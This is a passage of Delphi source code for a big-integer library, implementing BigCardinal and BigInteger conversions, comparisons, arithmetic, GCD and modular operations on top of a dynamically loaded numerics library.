class operator LessThan(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator LessThan(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator LessThan(const A: BigInteger; const B: Int64): Boolean; inline;
class operator LessThan(const A: Int64; const B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A: BigInteger; const B: UInt64): Boolean; inline;
class operator LessThanOrEqual(const A: UInt64; const B: BigInteger): Boolean; inline;
class operator LessThanOrEqual(const A: BigInteger; const B: Int64): Boolean; inline;
class operator LessThanOrEqual(const A: Int64; const B: BigInteger): Boolean; inline;
// arithmetic operations on BigInteger & Cardinal
class operator Add(const A: BigInteger; const B: Cardinal): BigInteger;
class operator Subtract(const A: BigInteger; const B: Cardinal): BigInteger;
class operator Multiply(const A: BigInteger; const B: Cardinal): BigInteger;
class operator IntDivide(const A: BigInteger; const B: Cardinal): BigInteger;
class operator Modulus(const A: BigInteger; const B: Cardinal): BigInteger;
class function DivRem(const Dividend: BigInteger; const Divisor: Cardinal;
var Remainder: BigInteger): BigInteger; overload; static;
// arithmetic operations on Cardinal & BigInteger
class operator Add(const A: Cardinal; const B: BigInteger): BigInteger;
class operator Subtract(const A: Cardinal; const B: BigInteger): BigInteger;
class operator Multiply(const A: Cardinal; const B: BigInteger): BigInteger;
class operator IntDivide(const A: Cardinal; const B: BigInteger): BigInteger;
class operator Modulus(const A: Cardinal; const B: BigInteger): Cardinal;
class function DivRem(const Dividend: Cardinal; const Divisor: BigInteger;
var Remainder: Cardinal): BigInteger; overload; static;
// arithmetic operations on BigInteger & Integer
class operator Add(const A: BigInteger; const B: Integer): BigInteger;
class operator Subtract(const A: BigInteger; const B: Integer): BigInteger;
class operator Multiply(const A: BigInteger; const B: Integer): BigInteger;
class operator IntDivide(const A: BigInteger; const B: Integer): BigInteger;
class operator Modulus(const A: BigInteger; const B: Integer): Integer;
class function DivRem(const Dividend: BigInteger; const Divisor: Integer;
var Remainder: Integer): BigInteger; overload; static;
// arithmetic operations on Integer & BigInteger
class operator Add(const A: Integer; const B: BigInteger): BigInteger;
class operator Subtract(const A: Integer; const B: BigInteger): BigInteger;
class operator Multiply(const A: Integer; const B: BigInteger): BigInteger;
class operator IntDivide(const A: Integer; const B: BigInteger): Integer;
class operator Modulus(const A: Integer; const B: BigInteger): Integer;
class function DivRem(const Dividend: Integer; const Divisor: BigInteger;
var Remainder: Integer): Integer; overload; static;
end;
type
EBigNumberError = class(Exception)
private
FCode: TF_RESULT;
public
constructor Create(ACode: TF_RESULT; const Msg: string = '');
property Code: TF_RESULT read FCode;
end;
procedure BigNumberError(ACode: TF_RESULT; const Msg: string = '');
function LoadNumerics(const Name: string = ''): TF_RESULT;
implementation
const
NumericsVersion = 58;
type
TGetNumericsVersion = function(var Version: LongWord): TF_RESULT; stdcall;
TBigNumberFromCardinal = function(var A: IBigNumber; Value: Cardinal): TF_RESULT; stdcall;
TBigNumberFromUInt64 = function(var A: IBigNumber; Value: UInt64): TF_RESULT; stdcall;
TBigNumberFromInteger = function(var A: IBigNumber; Value: Integer): TF_RESULT; stdcall;
TBigNumberFromInt64 = function(var A: IBigNumber; Value: Int64): TF_RESULT; stdcall;
TBigNumberFromPChar = function(var A: IBigNumber; P: PByte; L: Integer;
CharSize: Integer; AllowNegative: Boolean; TwoCompl: Boolean): TF_RESULT; stdcall;
TBigNumberFromPByte = function(var A: IBigNumber;
P: PByte; L: Integer; AllowNegative: Boolean): TF_RESULT; stdcall;
TBigNumberAlloc = function(var A: IBigNumber; ASize: Integer): TF_RESULT; stdcall;
var
GetNumericsVersion: TGetNumericsVersion;
BigNumberFromLimb: TBigNumberFromCardinal;
BigNumberFromDblLimb: TBigNumberFromUInt64;
BigNumberFromIntLimb: TBigNumberFromInteger;
BigNumberFromDblIntLimb: TBigNumberFromInt64;
BigNumberFromPChar: TBigNumberFromPChar;
BigNumberFromPByte: TBigNumberFromPByte;
BigNumberAlloc: TBigNumberAlloc;
{ EBigNumberError }
constructor EBigNumberError.Create(ACode: TF_RESULT; const Msg: string);
begin
if Msg = '' then
inherited Create(Format('Big Number Error 0x%.8x', [ACode]))
else
inherited Create(Msg);
FCode:= ACode;
end;
procedure BigNumberError(ACode: TF_RESULT; const Msg: string);
begin
raise EBigNumberError.Create(ACode, Msg);
end;
procedure HResCheck(Value: TF_RESULT); inline;
begin
if Value <> S_OK then
BigNumberError(Value);
end;
{ BigCardinal }
function BigCardinal.ToString: string;
var
BytesUsed: Integer;
L: Integer;
P, P1: PByte;
I: Integer;
begin
BytesUsed:= FNumber.GetSize;
// log(256) approximated from above by 41/17
L:= (BytesUsed * 41) div 17 + 1;
GetMem(P, L);
try
HResCheck(FNumber.ToDec(P, L));
SetLength(Result, L);
P1:= P;
for I:= 1 to L do begin
Result[I]:= Char(P1^);
Inc(P1);
end;
finally
FreeMem(P);
end;
end;
function BigCardinal.ToHexString(Digits: Integer; const Prefix: string;
TwoCompl: Boolean): string;
var
L: Integer;
P, P1: PByte;
HR: TF_RESULT;
I: Integer;
begin
Result:= '';
HR:= FNumber.ToHex(nil, L, TwoCompl);
if HR = TF_E_INVALIDARG then begin
GetMem(P, L);
try
HResCheck(FNumber.ToHex(P, L, TwoCompl));
if Digits < L then Digits:= L;
Inc(Digits, Length(Prefix));
SetLength(Result, Digits);
Move(Pointer(Prefix)^, Pointer(Result)^, Length(Prefix) * SizeOf(Char));
P1:= P;
I:= Length(Prefix);
while I + L < Digits do begin
Inc(I);
Result[I]:= '0';
end;
while I < Digits do begin
Inc(I);
Result[I]:= Char(P1^);
Inc(P1);
end;
finally
FreeMem(P);
end;
end
else
BigNumberError(HR);
end;
function BigCardinal.ToBytes: TBytes;
var
HR: TF_RESULT;
L: Cardinal;
begin
L:= 0;
HR:= FNumber.ToPByte(nil, L);
if (HR = TF_E_INVALIDARG) and (L > 0) then begin
SetLength(Result, L);
HR:= FNumber.ToPByte(Pointer(Result), L);
end;
HResCheck(HR);
end;
function BigCardinal.TryParse(const S: string; TwoCompl: Boolean): Boolean;
begin
Result:= BigNumberFromPChar(FNumber, Pointer(S), Length(S),
SizeOf(Char), False, TwoCompl) = TF_S_OK;
end;
function BigCardinal.GetHashCode: Integer;
begin
Result:= FNumber.GetHashCode;
end;
procedure BigCardinal.Free;
begin
FNumber:= nil;
end;
function BigCardinal.CompareTo(const B: BigCardinal): Integer;
begin
Result:= FNumber.CompareNumberU(B.FNumber);
end;
function BigCardinal.CompareTo(const B: Cardinal): Integer;
begin
Result:= FNumber.CompareToLimbU(B);
end;
function BigCardinal.CompareTo(const B: Integer): Integer;
begin
Result:= FNumber.CompareToIntLimbU(B);
end;
function BigCardinal.CompareTo(const B: UInt64): Integer;
begin
Result:= FNumber.CompareToDblLimbU(B);
end;
function BigCardinal.CompareTo(const B: Int64): Integer;
begin
Result:= FNumber.CompareToDblIntLimbU(B);
end;
function BigCardinal.EqualsTo(const B: BigCardinal): Boolean;
begin
Result:= FNumber.EqualsNumberU(B.FNumber);
end;
class operator BigCardinal.Explicit(const Value: BigCardinal): Cardinal;
begin
HResCheck(Value.FNumber.ToLimb(Result));
end;
class operator BigCardinal.Explicit(const Value: BigCardinal): Integer;
begin
HResCheck(Value.FNumber.ToIntLimb(Result));
end;
class operator BigCardinal.Explicit(const Value: BigCardinal): UInt64;
begin
HResCheck(Value.FNumber.ToDblLimb(Result));
end;
class operator BigCardinal.Explicit(const Value: BigCardinal): Int64;
begin
HResCheck(Value.FNumber.ToDblIntLimb(Result));
end;
class operator BigCardinal.Implicit(const Value: Cardinal): BigCardinal;
begin
HResCheck(BigNumberFromLimb(Result.FNumber, Value));
end;
class operator BigCardinal.Implicit(const Value: UInt64): BigCardinal;
begin
HResCheck(BigNumberFromDblLimb(Result.FNumber, Value));
end;
class operator BigCardinal.Explicit(const Value: Integer): BigCardinal;
begin
if Value < 0 then
BigNumberError(TF_E_INVALIDARG)
else
HResCheck(BigNumberFromIntLimb(Result.FNumber, Value));
end;
class operator BigCardinal.Explicit(const Value: Int64): BigCardinal;
begin
if Value < 0 then
BigNumberError(TF_E_INVALIDARG)
else
HResCheck(BigNumberFromDblIntLimb(Result.FNumber, Value));
end;
class operator BigCardinal.Explicit(const Value: TBytes): BigCardinal;
begin
HResCheck(BigNumberFromPByte(Result.FNumber,
Pointer(Value), Length(Value), False));
end;
class operator BigCardinal.Explicit(const Value: string): BigCardinal;
begin
HResCheck(BigNumberFromPChar(Result.FNumber, Pointer(Value), Length(Value),
SizeOf(Char), False, False));
end;
class operator BigCardinal.Equal(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.EqualsNumberU(B.FNumber);
end;
class operator BigCardinal.NotEqual(const A, B: BigCardinal): Boolean;
begin
Result:= not A.FNumber.EqualsNumberU(B.FNumber);
end;
class operator BigCardinal.GreaterThan(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.CompareNumberU(B.FNumber) > 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.CompareNumberU(B.FNumber) >= 0;
end;
class operator BigCardinal.LessThan(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.CompareNumberU(B.FNumber) < 0;
end;
class operator BigCardinal.LessThanOrEqual(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.CompareNumberU(B.FNumber) <= 0;
end;
class operator BigCardinal.Add(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.AddNumberU(B.FNumber, Result.FNumber));
end;
class operator BigCardinal.Subtract(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.SubNumberU(B.FNumber, Result.FNumber));
end;
class operator BigCardinal.Multiply(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.MulNumberU(B.FNumber, Result.FNumber));
end;
class operator BigCardinal.IntDivide(const A, B: BigCardinal): BigCardinal;
var
Remainder: IBigNumber;
begin
HResCheck(A.FNumber.DivRemNumberU(B.FNumber, Result.FNumber, Remainder));
end;
class operator BigCardinal.Modulus(const A, B: BigCardinal): BigCardinal;
var
Quotient: IBigNumber;
begin
HResCheck(A.FNumber.DivRemNumberU(B.FNumber, Quotient, Result.FNumber));
end;
class operator BigCardinal.LeftShift(const A: BigCardinal; Shift: Cardinal): BigCardinal;
begin
HResCheck(A.FNumber.ShlNumber(Shift, Result.FNumber));
end;
class operator BigCardinal.RightShift(const A: BigCardinal; Shift: Cardinal): BigCardinal;
begin
HResCheck(A.FNumber.ShrNumber(Shift, Result.FNumber));
end;
class operator BigCardinal.BitwiseAnd(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.AndNumberU(B.FNumber, Result.FNumber));
end;
class operator BigCardinal.BitwiseOr(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.OrNumberU(B.FNumber, Result.FNumber));
end;
class operator BigCardinal.Equal(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) = 0;
end;
class operator BigCardinal.Equal(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) = 0;
end;
class operator BigCardinal.Equal(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) = 0;
end;
class operator BigCardinal.Equal(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToIntLimbU(A) = 0;
end;
class operator BigCardinal.NotEqual(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) <> 0;
end;
class operator BigCardinal.NotEqual(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) <> 0;
end;
class operator BigCardinal.NotEqual(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) <> 0;
end;
class operator BigCardinal.NotEqual(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToIntLimbU(A) <> 0;
end;
class operator BigCardinal.GreaterThan(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) > 0;
end;
class operator BigCardinal.GreaterThan(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) < 0;
end;
class operator BigCardinal.GreaterThan(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) > 0;
end;
class operator BigCardinal.GreaterThan(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToIntLimbU(A) < 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) >= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) <= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) >= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToIntLimbU(A) <= 0;
end;
class operator BigCardinal.LessThan(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) < 0;
end;
class operator BigCardinal.LessThan(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) > 0;
end;
class operator BigCardinal.LessThan(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) < 0;
end;
class operator BigCardinal.LessThan(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToIntLimbU(A) > 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: BigCardinal; const B: Cardinal): Boolean;
begin
Result:= A.FNumber.CompareToLimbU(B) <= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: Cardinal; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) >= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: BigCardinal; const B: Integer): Boolean;
begin
Result:= A.FNumber.CompareToIntLimbU(B) <= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: Integer; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToLimbU(A) >= 0;
end;
{--- Comparison with 64-bit integers ---}
class operator BigCardinal.Equal(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) = 0;
end;
class operator BigCardinal.Equal(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) = 0;
end;
class operator BigCardinal.Equal(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) = 0;
end;
class operator BigCardinal.Equal(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) = 0;
end;
class operator BigCardinal.NotEqual(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) <> 0;
end;
class operator BigCardinal.NotEqual(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) <> 0;
end;
class operator BigCardinal.NotEqual(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) <> 0;
end;
class operator BigCardinal.NotEqual(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) <> 0;
end;
class operator BigCardinal.GreaterThan(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) > 0;
end;
class operator BigCardinal.GreaterThan(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) < 0;
end;
class operator BigCardinal.GreaterThan(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) > 0;
end;
class operator BigCardinal.GreaterThan(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) < 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) >= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) <= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) >= 0;
end;
class operator BigCardinal.GreaterThanOrEqual(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) <= 0;
end;
class operator BigCardinal.LessThan(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) < 0;
end;
class operator BigCardinal.LessThan(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) > 0;
end;
class operator BigCardinal.LessThan(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) < 0;
end;
class operator BigCardinal.LessThan(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) > 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: BigCardinal; const B: UInt64): Boolean;
begin
Result:= A.FNumber.CompareToDblLimbU(B) <= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: UInt64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblLimbU(A) >= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: BigCardinal; const B: Int64): Boolean;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B) <= 0;
end;
class operator BigCardinal.LessThanOrEqual(const A: Int64; const B: BigCardinal): Boolean;
begin
Result:= B.FNumber.CompareToDblIntLimbU(A) >= 0;
end;
class operator BigCardinal.Add(const A: BigCardinal; const B: Cardinal): BigCardinal;
begin
HResCheck(A.FNumber.AddLimbU(B, Result.FNumber));
end;
class operator BigCardinal.Add(const A: Cardinal; const B: BigCardinal): BigCardinal;
begin
HResCheck(B.FNumber.AddLimbU(A, Result.FNumber));
end;
class operator BigCardinal.Subtract(const A: BigCardinal; const B: Cardinal): BigCardinal;
begin
HResCheck(A.FNumber.SubLimbU(B, Result.FNumber));
end;
class operator BigCardinal.Subtract(const A: Cardinal; const B: BigCardinal): Cardinal;
begin
HResCheck(B.FNumber.SubLimbU2(A, Result));
end;
class operator BigCardinal.Multiply(const A: BigCardinal; const B: Cardinal): BigCardinal;
begin
HResCheck(A.FNumber.MulLimbU(B, Result.FNumber));
end;
class operator BigCardinal.Multiply(const A: Cardinal; const B: BigCardinal): BigCardinal;
begin
HResCheck(B.FNumber.MulLimbU(A, Result.FNumber));
end;
class operator BigCardinal.IntDivide(const A: BigCardinal; const B: Cardinal): BigCardinal;
var
Remainder: Cardinal;
begin
HResCheck(A.FNumber.DivRemLimbU(B, Result.FNumber, Remainder));
end;
class operator BigCardinal.IntDivide(const A: Cardinal; const B: BigCardinal): Cardinal;
var
Remainder: Cardinal;
begin
HResCheck(B.FNumber.DivRemLimbU2(A, Result, Remainder));
end;
class operator BigCardinal.Modulus(const A: BigCardinal; const B: Cardinal): Cardinal;
var
Quotient: IBigNumber;
begin
HResCheck(A.FNumber.DivRemLimbU(B, Quotient, Result));
end;
class operator BigCardinal.Modulus(const A: Cardinal; const B: BigCardinal): Cardinal;
var
Quotient: Cardinal;
begin
HResCheck(B.FNumber.DivRemLimbU2(A, Quotient, Result));
end;
{ -------------------------- BigInteger -------------------------- }
function BigInteger.GetSign: Integer;
begin
Result:= FNumber.GetSign;
end;
function BigInteger.ToString: string;
var
BytesUsed: Integer;
L: Integer;
P, P1: PByte;
I: Integer;
IsMinus: Boolean;
begin
BytesUsed:= FNumber.GetSize;
// log(256) approximated from above by 41/17
L:= (BytesUsed * 41) div 17 + 1;
GetMem(P, L);
try
HResCheck(FNumber.ToDec(P, L));
IsMinus:= GetSign < 0;
if IsMinus then Inc(L);
SetLength(Result, L);
I:= 1;
if IsMinus then begin
Result[1]:= '-';
Inc(I);
end;
P1:= P;
while I <= L do begin
Result[I]:= Char(P1^);
Inc(P1);
Inc(I);
end;
finally
FreeMem(P);
end;
end;
function BigInteger.ToHexString(Digits: Integer; const Prefix: string;
TwoCompl: Boolean): string;
const
ASCII_8 = 56; // Ord('8')
var
L: Integer;
P, P1: PByte;
HR: TF_RESULT;
Filler: Char;
I: Integer;
begin
Result:= '';
HR:= FNumber.ToHex(nil, L, TwoCompl);
if HR = TF_E_INVALIDARG then begin
GetMem(P, L);
try
HResCheck(FNumber.ToHex(P, L, TwoCompl));
if Digits < L then Digits:= L;
I:= 1;
if (FNumber.GetSign < 0) and not TwoCompl then begin
Inc(I);
SetLength(Result, Digits + Length(Prefix) + 1);
Result[1]:= '-';
end
else
SetLength(Result, Digits + Length(Prefix));
Move(Pointer(Prefix)^, Result[I], Length(Prefix) * SizeOf(Char));
Inc(I, Length(Prefix));
if Digits > L then begin
if TwoCompl and (P[L] >= ASCII_8) then Filler:= 'F'
else Filler:= '0';
while I + L <= Length(Result) do begin
Result[I]:= Filler;
Inc(I);
end;
end;
P1:= P;
while I <= Length(Result) do begin
Result[I]:= Char(P1^);
Inc(I);
Inc(P1);
end;
finally
FreeMem(P);
end;
end
else
BigNumberError(HR);
end;
function BigInteger.ToBytes: TBytes;
var
HR: TF_RESULT;
L: Cardinal;
begin
Result:= nil;
HR:= FNumber.ToPByte(nil, L);
if (HR = TF_E_INVALIDARG) and (L > 0) then begin
SetLength(Result, L);
HR:= FNumber.ToPByte(Pointer(Result), L);
end;
HResCheck(HR);
end;
function BigInteger.TryParse(const S: string; TwoCompl: Boolean): Boolean;
begin
Result:= BigNumberFromPChar(FNumber, Pointer(S), Length(S),
SizeOf(Char), True, TwoCompl) = TF_S_OK;
end;
function BigInteger.GetHashCode: Integer;
begin
Result:= FNumber.GetHashCode;
end;
procedure BigInteger.Free;
begin
FNumber:= nil;
end;
class function BigCardinal.Compare(const A, B: BigCardinal): Integer;
begin
Result:= A.FNumber.CompareNumberU(B.FNumber);
end;
class function BigInteger.Compare(const A, B: BigInteger): Integer;
begin
Result:= A.FNumber.CompareNumber(B.FNumber);
end;
class function BigInteger.Compare(const A: BigInteger; const B: BigCardinal): Integer;
begin
Result:= A.FNumber.CompareNumber(B.FNumber);
end;
class function BigInteger.Compare(const A: BigCardinal; const B: BigInteger): Integer;
begin
Result:= A.FNumber.CompareNumber(B.FNumber);
end;
class function BigCardinal.Compare(const A: BigCardinal; const B: Cardinal): Integer;
begin
Result:= A.FNumber.CompareToLimbU(B);
end;
class function BigCardinal.Compare(const A: BigCardinal; const B: Integer): Integer;
begin
Result:= A.FNumber.CompareToIntLimbU(B);
end;
class function BigInteger.Compare(const A: BigInteger; const B: Cardinal): Integer;
begin
Result:= A.FNumber.CompareToLimb(B);
end;
class function BigInteger.Compare(const A: BigInteger; const B: Integer): Integer;
begin
Result:= A.FNumber.CompareToIntLimb(B);
end;
class function BigCardinal.Compare(const A: BigCardinal; const B: UInt64): Integer;
begin
Result:= A.FNumber.CompareToDblLimbU(B);
end;
class function BigCardinal.Compare(const A: BigCardinal; const B: Int64): Integer;
begin
Result:= A.FNumber.CompareToDblIntLimbU(B);
end;
class function BigInteger.Compare(const A: BigInteger; const B: UInt64): Integer;
begin
Result:= A.FNumber.CompareToDblLimb(B);
end;
class function BigInteger.Compare(const A: BigInteger; const B: Int64): Integer;
begin
Result:= A.FNumber.CompareToDblIntLimb(B);
end;
function BigInteger.CompareTo(const B: BigInteger): Integer;
begin
Result:= FNumber.CompareNumber(B.FNumber);
end;
function BigInteger.CompareTo(const B: BigCardinal): Integer;
begin
Result:= FNumber.CompareNumber(B.FNumber);
end;
function BigInteger.CompareTo(const B: Cardinal): Integer;
begin
Result:= FNumber.CompareToLimb(B);
end;
function BigInteger.CompareTo(const B: Integer): Integer;
begin
Result:= FNumber.CompareToIntLimb(B);
end;
function BigInteger.CompareTo(const B: UInt64): Integer;
begin
Result:= FNumber.CompareToDblLimb(B);
end;
function BigInteger.CompareTo(const B: Int64): Integer;
begin
Result:= FNumber.CompareToDblIntLimb(B);
end;
class function BigCardinal.Equals(const A, B: BigCardinal): Boolean;
begin
Result:= A.FNumber.EqualsNumberU(B.FNumber);
end;
class function BigInteger.Equals(const A, B: BigInteger): Boolean;
begin
Result:= A.FNumber.EqualsNumber(B.FNumber);
end;
class function BigInteger.Equals(const A: BigInteger; const B: BigCardinal): Boolean;
begin
Result:= A.FNumber.EqualsNumber(B.FNumber);
end;
class function BigInteger.Equals(const A: BigCardinal; const B: BigInteger): Boolean;
begin
Result:= A.FNumber.EqualsNumber(B.FNumber);
end;
function BigInteger.EqualsTo(const B: BigInteger): Boolean;
begin
Result:= FNumber.EqualsNumber(B.FNumber);
end;
function BigInteger.EqualsTo(const B: BigCardinal): Boolean;
begin
Result:= FNumber.EqualsNumber(B.FNumber);
end;
class function BigInteger.Abs(const A: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.AbsNumber(Result.FNumber));
end;
class function BigCardinal.Pow(const Base: BigCardinal; Value: Cardinal): BigCardinal;
begin
HResCheck(Base.FNumber.PowU(Value, Result.FNumber));
end;
class function BigInteger.Pow(const Base: BigInteger; Value: Cardinal): BigInteger;
begin
HResCheck(Base.FNumber.Pow(Value, Result.FNumber));
end;
class function BigCardinal.DivRem(const Dividend: BigCardinal;
Divisor: Cardinal; var Remainder: Cardinal): BigCardinal;
begin
HResCheck(Dividend.FNumber.DivRemLimbU(Divisor, Result.FNumber, Remainder));
end;
class function BigCardinal.DivRem(const Dividend: Cardinal;
Divisor: BigCardinal; var Remainder: Cardinal): Cardinal;
begin
HResCheck(Divisor.FNumber.DivRemLimbU2(Dividend, Result, Remainder));
end;
class function BigCardinal.DivRem(const Dividend, Divisor: BigCardinal;
var Remainder: BigCardinal): BigCardinal;
begin
HResCheck(Dividend.FNumber.DivRemNumberU(Divisor.FNumber,
Result.FNumber, Remainder.FNumber));
end;
class function BigInteger.DivRem(const Dividend, Divisor: BigInteger;
var Remainder: BigInteger): BigInteger;
begin
HResCheck(Dividend.FNumber.DivRemNumber(Divisor.FNumber,
Result.FNumber, Remainder.FNumber));
end;
class function BigCardinal.Sqrt(const A: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.SqrtNumber(Result.FNumber));
end;
class function BigInteger.Sqrt(const A: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.SqrtNumber(Result.FNumber));
end;
class function BigCardinal.GCD(const A, B: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.GCD(B.FNumber, Result.FNumber));
end;
class function BigInteger.GCD(const A, B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.GCD(B.FNumber, Result.FNumber));
end;
class function BigInteger.GCD(const A: BigInteger; const B: BigCardinal): BigInteger;
begin
HResCheck(A.FNumber.GCD(B.FNumber, Result.FNumber));
end;
class function BigInteger.GCD(const A: BigCardinal; const B: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.GCD(B.FNumber, Result.FNumber));
end;
class function BigInteger.EGCD(const A, B: BigInteger; var X, Y: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.EGCD(B.FNumber, Result.FNumber, X.FNumber, Y.FNumber));
end;
class function BigInteger.ModPow(const BaseValue, ExpValue,
Modulo: BigInteger): BigInteger;
begin
HResCheck(BaseValue.FNumber.ModPow(ExpValue.FNumber,
Modulo.FNumber, Result.FNumber));
end;
class function BigCardinal.ModInverse(const A, Modulo: BigCardinal): BigCardinal;
begin
HResCheck(A.FNumber.ModInverse(Modulo.FNumber, Result.FNumber));
end;
class function BigInteger.ModInverse(const A, Modulo: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.ModInverse(Modulo.FNumber, Result.FNumber));
end;
class function BigInteger.ModInverse(const A: BigInteger; const Modulo: BigCardinal): BigInteger;
begin
HResCheck(A.FNumber.ModInverse(Modulo.FNumber, Result.FNumber));
end;
class function BigInteger.ModInverse(const A: BigCardinal; const Modulo: BigInteger): BigInteger;
begin
HResCheck(A.FNumber.ModInverse(Modulo.FNumber, Result.FNumber));
end;
class operator BigInteger.Implicit(const Value: BigCardinal): BigInteger;
begin
Result.FNumber:= Value.FNumber;
end;
class operator BigInteger.Explicit(const Value: BigInteger): BigCardinal;
begin
if (Value.FNumber.GetSign < 0) then
BigNumberError(TF_E_INVALIDARG);
Result.FNumber:= Value.FNumber;
end;
class operator BigInteger.Explicit(const Value: BigInteger): Cardinal;
begin
HResCheck(Value.FNumber.ToLimb(Result));
end;
class operator BigInteger.Explicit(const Value: BigInteger): UInt64;
begin
HResCheck(Value.FNumber.ToDblLimb(Result));
end;
class operator BigInteger.Explicit(const Value: BigInteger): Integer;
begin
HResCheck(Value.FNumber.ToIntLimb(Result));
end;
class operator BigInteger.Explicit(const Value: BigInteger): Int64;
begin
HResCheck(Value.FNumber.ToDblIntLimb(Result));
end;
class operator BigInteger.Implicit(const Value: Cardinal): BigInteger;
begin
HResCheck(BigNumberFromLimb(Result.FNumber, Value));
end;
class operator BigInteger.Implicit(const Value: UInt64): BigInteger;
begin
HResCheck(BigNumberFromDblLimb(Result.FNumber, Value));
end;
class operator BigInteger.Implicit(const Value: Integer): BigInteger;
begin
HResCheck(BigNumberFromIntLimb(Result.FNumber, Value));
end;
